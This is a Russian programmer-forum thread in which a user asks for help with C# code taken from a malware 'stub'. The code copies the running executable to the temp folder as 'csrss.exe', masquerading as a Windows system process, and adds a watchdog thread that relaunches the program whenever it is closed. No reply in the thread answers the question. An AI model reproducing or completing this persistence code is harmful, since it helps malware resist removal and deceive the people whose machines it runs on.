Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > .NET Frameworks (точка нет фреймворки) > Общие вопросы .NET
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.05.2016, 10:19   #1
ShadowInject
Пользователь
 
Регистрация: 08.11.2014
Сообщений: 37
По умолчанию Передать нужный параметр

Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
Код:
int handle = Process.GetCurrentProcess().Id;
if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence"))
                    {
                        try
                        {
                            File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true);
                            Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : ""));
                        }
                        catch { }
                    }
Сама функция
Код:
private static void ProcessPersistance(string path, int handle)
        {
            new Thread(new ThreadStart(delegate ()
            {
                while (true)
                {
                    bool ok = false;
                    foreach (Process p in Process.GetProcesses())
                        try
                        {
                            if (p.Id == handle)
                            {
                                ok = true;
                                break;
                            }
                        }
                        catch { }
                    if (ok)
                        Thread.Sleep(500);
                    else
                    {
                        Process.Start(path);
                        Environment.Exit(0);
                    }
                }
            })).Start();
        }
ShadowInject вне форума Ответить с цитированием
Старый 24.05.2016, 10:17   #2
ShadowInject
Пользователь
 
Регистрация: 08.11.2014
Сообщений: 37
По умолчанию

Может есть какие соображения в какую сторону копать ?
ShadowInject вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Передать параметр в XML через ActionScript, Flash Le0n4iko_o Общие вопросы Web 5 08.07.2014 01:31
Как передать параметр в выборку Predator199 PHP 10 02.07.2012 19:30
передать параметр NiCola999 JavaScript, Ajax 1 11.02.2011 07:43
Передать параметр в процедуру VistaSV30 Microsoft Office Access 2 18.12.2009 20:45
Как передать параметр? Иллидан Общие вопросы Delphi 8 12.07.2008 12:57